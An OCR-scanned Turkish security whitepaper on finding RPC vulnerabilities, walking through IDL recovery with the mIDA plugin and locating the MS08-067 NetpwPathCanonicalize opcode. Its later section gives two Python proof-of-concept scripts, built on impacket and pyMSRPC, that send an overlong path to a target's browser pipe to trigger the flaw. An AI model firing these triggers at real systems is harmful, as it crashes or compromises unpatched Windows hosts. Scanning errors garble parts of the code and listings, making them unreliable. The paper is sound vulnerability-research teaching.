SEC

Informatior ;_' Secunty

RPC Zafiyetlerinin Kesfi

[http://vis.signalsec.com]

Celil UNUVER
Sr. Security Researcher
SIGNALSEC Bilgi GUvenlik Dan. Ltd.

www.signalsec.com

T: +90 232 433 0day (0329) E:info@signalsec.com


http://vis.signalsec.com/
file:///C:/Users/Celil/Documents/TersineMuhendisinElKitabı/ms-08-67/www.signalsec.com

SEC

ICERIK

RPC Zafiyetlerinin Kesfi

Girig ve RPC

mIDA Plugin

impacket, pyMSRPC ve mso8-67
Sonug

Referanslar

SignalSEC Ltd.

Hakkimizda

iletisim

RPC Zafiyetlerinin Kesfi | 2



™

SEC
RPC Zafiyetlerinin Kesfi | 3

RPC Zafiyetlerinin Kesfi

Giris ve RPC

Penetrasyon testi yapanlarin biyuk nimeti olan MS08-67'yi herkes bilir. MS08-67 gibi zafiyetler, arka planda
RPC isteklerinin yorumlanmasindaki programlama hatalarindan olusur.

RPC protokolu server-client tabanli bir iletisim modelidir. SMB ve SAMBA gibi servisler bu iletisim modele
kullandigr gibi, bugin bircok SCADA HMI yazilimlarinda mevcuttur. (Eger RPC yoksa da SCADA yazilimlarinda
benzer OPC modeli mutlak vardir) Yaygin kurumsal yazihmlarda da (CA Arcsight, Novell, EMC, IBM vb.) RPC
modeli ¢esitli amaglar igin kullanilmaktadir.

RPC modeli, network Gzerinden uzak makinedeki bir programa ait lokal fonksiyonlari calistirmaya olanak
tanimaktadir. Referanslarda bulacaginiz bir makaleden DCOM/RPC ile ilgili bir alinti yaparsak ;

"So. Each COM object resides in an apartment, and each apartment resides in a process, and each process resides in
a machine, and each machine resides in a network. Allowing those objects to be used from *any* of these different
places is what DCOM is all about."

Bu fonksiyonlarin tanimlamasi, ne sekilde - nasil ve hangi argimanlarla cagirilacagi ise IDL (Interface
Description Language) ile belirlenir. IDL 'yi bir kitiphane dosyasi gibi disinebilirsiniz. IDL dosyalari RPC
server/client' ile birlikte derlenerek, IDL tanimlamalari statik olarak ¢alistirilabilir dosya icerisinde (exe, dll)
tutulur.

RPC client't, RPC server'in kabul ettigi IDL fonksiyon ve parametlerini kendi binyesinde tutar. Server tarafinda
RPC ile bir fonksiyon ¢agrilacagi zaman gerekli fonksiyon ve parametleri client tarafinda hazirlanir ve yine client
tarafinda NDR (Network Data Representation) formatina gevrilerek server'a gonderilir. Bu sire¢ten RPC Client
Runtime Library (rpcrt4.dll) kitGphanesi sorumludur. E§er herhangi bir RPC server/client ' in network datalarini
debuggerile trace ve takip ederseniz, "rpcrt4.dll" kitUphanesinin ¢cagrildigini gorebilirsiniz. Server, client'dan
gelen istekleri yine rpcrt4 kitiphanesi ile yorumlayarak gerekli fonksiyon ¢agrimlarini yapar.

RPC'nin diger onemli elementi de UUID ' dir. UUID adi Ustinde tanimlanmis interfaceler icin unique bir
tanimlayicidir. (ActiveX clsid gibi) RPC client yapacagi isteklerde 6nce interface tanimlamasi icin UUID'yi
kullanir. Daha sonra hangi fonksiyonu calistiracaksa IDL icerisinde o fonksiyon i¢in tanimlanmis opcode ve
parametrelerini cagirir.

IDL igerisinde tanimlanan data ve argiman yapilari, bilinen veri tirlerindedir. (long, short integer, string,
widechar - unicode string vb.) Zafiyet arastirmasi ile ugrasanlarin kafasinda sanirnm itk yanmistir :) iste
zafiyetler de aslinda IDL fonksiyon parametlerinin server tarafinda yorumlanma / parse vb. islemleri esnasinda
ortaya ¢ikabilmektedir.

IDL fonksiyon ve parametleri, derlenerek binary icinde statik olarak tutuluyor demistik. Dolayisiyla tersine
muhendislik ile RPC server/client yazilimlarinin IDL yapisina ulasilabilir. IDL formatina ulasilan bir RPC serverin,
fonksiyonlarinin nasil bir yapida ¢agrilacagi (UUID, opcode, argiman) da 6grenilebilir :) Daha sonra bu
fonksiyonlar Uzerinde fuzzing vb. islemler uygulanarak cesitli memory corruption zafiyetleri aranabilir.
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mIDA Plugin

Herhangi bir RPC server/client binarysinin IDL tanimlamalarina ulasmak igin mIDA pluginini kullanabilirsiniz.
mIDA, IDA Disassembler plugini olup Tenable Networks tarafindan gelistirilmistir.

mIDA"y1, IDA Disassembler ' imiza plugin olarak yikledikten sonra CTRL + 7 kisayolu ile ¢agirabilirsiniz. Plugini
calistirdiginizda asagidaki gibi bir ekran gorintisu ile karsilasacaksiniz;

[F] Functions window 0 & x DA View-A W 40324fc8-1670-01d3-1278-5a47bf6ee188 v3.0 [ ‘ [5] Hex View-a | [A] structures | [E] Enums |
Function name * || Opcode Address Function Name

[F] sub_74ED2290 | oxs O0xT4EE03CT sub_T4EED3C1

[7] sub_7T4ED3180 09 OxT4EEOTC3 sub_T4EEDTC3

7] NdrServerCall2 0 A 0x74EE06GE sub_TAEEDG6B

[7] sub_74ED31F0 068 0x74EE09ER sub_T4EEQ9ER

Iz MNetpAccessCheckAndAudit 0l C 0:74EE04ES sub_74EED4ES Decompile all Ins
[F] sub_74ED3230 0D 0:74ED3D24 sub_74ED3D24

[7] sub_T4ED320F Ol E (xT4EDCADE sub_T4EDCEDE M=comple Del
[F] sub_7T4ED32FD 0dF xT4EDCAFA sub_7AEDCEFA Edit Cirl+E
[F] sub_74ED331D 020 0x74EDCILF sub_T4EDCOLF

[7] sub_74ED348D 02l 0x74EDCI3E sub_74EDC93E Copy Ctrl+C
E NetpNtStatusToApiStatus 022 0x74EDCI5A sub_T4EDCO5A o

7] sub_T4ED34AR 03 0:xT4EDCOTC sub_T4EDCOTC W Quick fitter Ctrl+F
7] sub_T4ED3554 0x24 0xT4EDFIBA sub_TAEDFT&A W Medify filters.. Ctrl+Shift+F
[7] sub_74ED35F5 025 0x74EDFE4T sub_TAEDFE4T

[F] sub_74ED3681 026 0x74EDEF50 sub_T4EDEF50

[7] sub_74ED3728 027 0xT4EDCTS4 sub_T4EDCT84

[F] sub_74ED3785 028 0x74EDC837 sub_T4EDCE37

[F] sub_74ED3003 029 0x74EE073E sub_T4EEQ73E

[F] sub_74ED30A9 -/ mea 0x74ED3E43 sub_T4ED3E43

m b 028 0:74EDCBFA sub_74EDCEFA

Linel of 215 Line 30 of 54

E Output window

/% opcode: 8x18, address: Bx74ED3SF5 =/

Tnnn cnh FHWFN2CFL

mIDA bize binary icerisinde tanimlanmig RPC fonksiyonlarini bulmaktadir, daha sonra Decompile All se¢enegi
ile bUtun bu fonksiyonlar IDL yapisina gevrilebilir. Ornedin msrpc ve smb fonksiyonlarinin bulundugu srvsve.dll
kutiphanesini mIDA ile decompile ettigimizde , asagidaki gibi bir ¢ikti ile karsilasiyoruz;

--snip--

/* opcode: 0x1C, address: 0X74EEQ4E5 */
long sub_74EEOQ4ES5 (

[in][unique][string] wchar_t * arg_1,
[out][ref] struct struct_14 ** arg_2

);

/* opcode: 0x1D, address: 0x74ED3D24 */
long sub_74ED3D24 (

[in][unique][string] wchar_t * arg_1,
[in][unique][string] wchar_t * arg_2,

[in] long arg_3,
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[in] long arg_4
);

/* opcode: Ox1E, address: 0x74EDC8DE */
long sub_74EDC8DE (

[in][unique][string] wchar_t * arg_1,
[in][string] wchar_t * arg_2,

[out] long * arg_3,

[in] long arg_4

);

/* opcode: Ox1F, address: Ox74EDC8FA */
long sub_74EDCS8FA (

[in][unique][string] wchar_t * arg_1,
[in][string] wchar_t * arg_2,
[out][size_is(arg_4)] char * arg_3,
[in][range(0,64000)] long arg_4,
[in][string] wchar_t * arg_5,

[in, out] long * arg_6,

[in] long arg_7

);

--snip--

mso8-67 zafiyetinin yayinlanan onlarca analizden, netapi32.dll kitiphanesiki NetpwPathCanonicalize
fonksiyonuyla alakali oldugunu biliyoruz. Bu ipucuiile, srvsrc.dll den decompile ettigimiz IDL dosyasindaki hangi
opcode ve fonksiyonun NetpwPathCanonicalize fonksiyonunu ¢agirdigini bulabiliriz.

Sirasiyla IDA ile actigimiz srvsrc.dll igerisinde "NetpwPathCanonicalize" fonksiyonunu aratip , daha sonra bu API
'nin hangi fonksiyon icerisinde cagrildigini bulup , bulunan fonksiyonun adresi mIDA c¢iktisinda aranabilir.

Address Function
Jidata:74ED12A8

text:7T4EDCO11 sub_74EDCEFRA

text: TAEE14BA MNetpwPathCanenicalize
text:7T4EE1G48

text:T4EEZT5A

Instruction

extrn __imp_NetpwPathCanonicalize:byte
call MetpwPathCanonicalize

; [00000006 BYTES: COLLAPSED FUNCTION MetpwPathCanonicalize. PRESS ..

dd rva _imp_MetpwPathCanonicalize ; Import Address Table
db 'MetpwPathCancnicalize,0
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FUEDCEFA
FUEDCEFA
FUEDCEFA
FUEDCEFA
FUEDCEFA
FUEDCEFA
FUEDCEFA
FUEDCEFA
FUEDCEFA
FUEDCEFA
FUEDCEFC
FUHEDCEFD
FUEDCEFF
FUEDCD B2
FUEDCO2B5
FUEDCO 08
FUEDC BB
FUEDC9BE
FUEDCO11
FUEDC?16
FUEDC917
FUEDC917
FUEDC917

sub_ 7LEDCEBFA proc

arg 4= dword ptr
arg %= dword ptr
arg C= dword ptr
arg_18=
arg_"a=
arg_"18=

mow

push
mow

push
push
push
push
push
push
call
pop

retn

dword ptr
dword ptr
dword ptr

edi, edi

ebp

ebp, esp
[ebp+arg_18]
[ebp+arg_14]
[ebp+arg_18]
[ebp+arg_C]
[ebp+arg_8]
[ebp+arg_4]
HetpuwPathCanonicalize
ebp

1Ch

sub_ 74EDCEFA endp

RPC Zafiyetlerinin Kesfi |

I* opcode: Ox1F, address: OX74EDC8FA */

long sub_74EDCS8FA (

[in][string] wchar_t * arg_2,

[in][unique][string] wchar_t *arg_1,

##### vulnerable argiiman

[out][size_is(arg_4)] char * arg_3,
[in][range(0,64000)] long arg_4,

[in][string] wchar_t * arg_5,

[in, out] long * arg_6,

[in] long arg_7

);

GOorildugu gibi oxaF opcode ' un adresi ile NetpwPathCanonicalize fonksiyonun ¢agrildigi sub_fonksiyonun
adresi ayni. Zafiyet , netapi!NetpwPathCanonicalize fonksiyonunda bulunmakta. Bu zafiyetin detaylarina

deginmeyecegim, detayli bilgi referanstaki adreslerde bulunabilir. Hatta komple bu fonksiyonun decompile
edilmis versiyonuna Alexander Sotirov'un blogundan ulagilabilir.
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impacket, pyMSRPC ve MS08-67

Guvenlik aragtirmacilari IDL tanimlamalarina ulastiktan sonra genelde her bir opcode'un parametrelerini "fuzz'
ederek zafiyet bulmaya calisirlar. Burada ilgilenecegimiz ve fuzz edebilecegimiz parametreler [in] olarak
belirtilenler. [out] ile belirtilenler client'a donen cevaplar. Opcode ile fonksiyona gonderilen bu parametreler
cesitli data tiplerinde olabilir.

Yukaridaki opcode'un [in] parametrelerine bakarsak sirasiyla;
1-) Unique

2-) Widechar / unicode string

3-) Long

4-) Widechar [ unicode string

5-) Long

6-) Long

impacket, CoreSecurity tarafindan gelistirilmis, RPC paketleri olusturmak icin gizel bir python kitiphanesi.
Ozellikle impacket icerisindeki Structure destegi ile mso8-67'yi tetiklemeye calismadan dnce RPC testleri igin
kullandigim favori modildi. mso8-67'yi sadece impacket ile tetikleyemeyince, arka planda impacket'den de
yararlanan ismi pek bilinmeyen Ustad Cody Pierce ve Aaron Portnoy'un gelistirdigi pymsrpc modilind
kesfettim ve faydal buldum.

Oncelikle impacket ile IDL yapisina bakarak istedigimiz bir opcode'a RPC istegdi nasil gonderilir anlatmak icin,
impacket ile olusturdugum python kodunu paylagsmamin faydali olacagini disiniyorum.

import sys

import struct

from impacket.structure import Structure
from impacket import smb

from impacket import uuid

from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport

from threading import Thread

target = sys.argv[1]
class ms08(Structure): ###0x1f opcode parameters and types
alignment =4

structure = (
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(‘stubl’, ‘'w),
(‘stub2', ‘'w"),

(‘stub3', '<L=19,
(‘stubd’, ‘'w"),

(‘stub5', '<L=1,
(‘stub6', '<L=0",

ndrstring = "WA\..\\..\\".encode('utf_16_le")
ndrstring2 = ("A" * 500).encode(‘'utf_16_le")
stub2str = ndrstring + ndrstring2
query = ms08()
query['stubl'] = "A".encode('utf_16_le")
query['stub2'] = stub2str
query['stub4'] = "".encode('utf_16 le")
trans = transport. DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % target)
print "Connecting..."
try:
trans.connect()
except:
print "Connection fault"
exit()
print "Connected"
dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6eel88', '3.0%))
dce.call(Ox1f, query) #NetPathCanonicalize func. opcode Ox1f

impacket ' in en gizel 6zelligi yukarida gorildigu gibi Structure yapisi ile parametleri tipine gore (string, long
vb.) belirleyebilmek. Ancak dezavantajlarina gelince; Ornegin "ABC" gibi bir string, widechar/unicode
oldugunda 410042004300 seklinde gosterilir. Lakin impacket, structure'da data type "w" (widechar) olarak
belirlense de otomatik olarak uygun formata donUstirmuUyor. Tabi yukarida yaptigim gibi encode edip bir takla

attirarak unicode formata cevirebilirsiniz.
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Daha sonra impacket'in sundugu fonksiyonlar ile bind etmek istediginiz interface'in UUID ' sini vs. belirleyip
kolayca RPC isteginizi gonderebilirsiniz. Yine de yukardaki kod mso8-67'yi tetiklemede basarisiz olacaktir.
Malesef impacket'in Structure class'i iginde tanimlanmis data tiplerinde unique yok ve bizim oxif opcode ' unun
ilk parametresi unique formatinda. NDR formatinda unique yapisina bakip manuel eklemek icin arastirmalar
yaparken, biraz 6nce bahsettigim pyMSRPC moddiliyle karsilasip ugrasmama gerek kalmadigini gordim.

import sys

import struct

from impacket.structure import Structure
from impacket import smb

from impacket import uuid

from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
sys.path.append("..")

from ndr import *

target = sys.argv[1] ## target ip

stubl = ndr_unique(data=ndr_wstring(data="A"))
stub2 = ndr_wstring(data="WAW..\\..\\" + "A" * 500)
stub3 = ndr_long(data=1)

stub4 = ndr_wstring(data="")

stub5 = ndr_long(data=1)

stub6 = ndr_long(data=0)

marshallized = stubl.serialize()

marshallized += stub2.serialize()
marshallized += stub3.serialize()
marshallized += stub4.serialize()
marshallized += stub5.serialize()

marshallized += stub6.serialize()

trans = transport. DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % target)
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print "Connecting..."
try:
trans.connect()
except:
print "Connection fault"

exit()

print "Connected, sending data!"
dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0"))

dce.call(0x1f, marshallized) #NetPathCanonicalize opcode

Goruldiugu gibi pyMSRPC modili, hem unique tipini destekledigi gibi hem de parametrelerin/datalarin
marshalling islemini (kabaca NDR formatina donistirmeyi), serialize() fonksiyonunu ¢agirarak kolayca
yapabiliyorsunuz. Yukaridaki PoC kodumuzu mso8-67 zafiyeti olan bir sistemde deneyerek , zafiyeti
tetikleyebilirsiniz.

Sonucg

Yazida kisaca RPC modeli ve IDL yapisina deginildigi gibi ¢esitli python modulleri RPC isteklerinin nasil
gonderilecegi anlatilmistir. RPC zafiyetlerinin kesfiicin mIDA ile 6rnekte gosterildigi gibi ¢esitli RPC
uygulamalarinin IDL yapilari tespit edilerek, her bir opcode'un argimanlar "fuzz" edilebilir.

" The most common question | get about the MSRPC fuzzer "does it find any new bugs" and | guess the answer is
No. There are no new MSRPC bugs. You should give up looking for them." - Dave Aitel, 31 Agustos 2006:

Dave Aitel , yukaridaki cimleyi kurduktan 4 yil sonra bile MSRPC zafiyetleri kegfedilmistir. Orn; CVE-2010-2567

Belki 2014 yilinda MSRPC ' de olmasa da RPC protokolini kullanan bir ¢cok yazilimda hala ¢esitli zero-day
zafiyetleri bu sekilde kesfedilebilir.

Referanslar

Daily Dave, MSRPC Fuzzing : http://seclists.org/dailydave/2006/g3/160

Marshalling Tutorial, Mike Hearn: http://www.winehq.org/pipermail/wine-devel/2004-July/028054.html

impacket, CorelLabs:
http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Impacket

pyMSRPC: https://code.google.com/p/pymsrpc/

Reversing MSo08-67: http://dontstuffbeansupyournose.com/2008/10/23/looking-at-mso8-067/
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SignalSEC Ltd.

Hakkimizda

SIGNALSEC Bilgi Givenlik Danigsmanlik Yazilim ve Teknoloji Hiz. Tic. Ltd. Sti. , 2011 yilinda kurulmus bir
bilgi glvenligi ve AR-GE sirketidir. SignalSEC, Tirkiye'de eksikligi hissedilen bilgi guvenligi dallarinda
arastirmalar yapmak ve hizmet vermek amaciyla kurulmustur.

Temel hedefi zafiyet arastirmalari (vulnerability research) olan SignalSEC, musterilerine efektif , ar-ge tabanli
ve ileri seviye bilgi givenligi hizmetleri sunmaktadir.

Gonullo Caligmalar

SignalSEC uluslararasi bilgi givenligi camiasinda en aktif Tirk bilisim sirketidir. SignalSEC arastirmacilari
dizenliolarak uluslararasi bilgi givenligi ve hacker konferanslarina konusmaci olarak katilmaktadir ve
desteklemektedir.

SignalSEC, ayni zamanda yerli/lyabanci alaninda en iyi glvenlik arastirmacilarinin bulustugu, Turkiye'nin ilk
uluslararasi ve ileri seviye givenlik konferansi olanNOPcon'un dizenleyicisidir.

Ayrica sirketin aralarinda Adobe, IBM, Microsoft, Novell gibi firmalarin bulundugu bircok popiler yazilimda
kesfettigi, yayinladigi onlarca kritik givenlik bildirisi bulunmaktadir.
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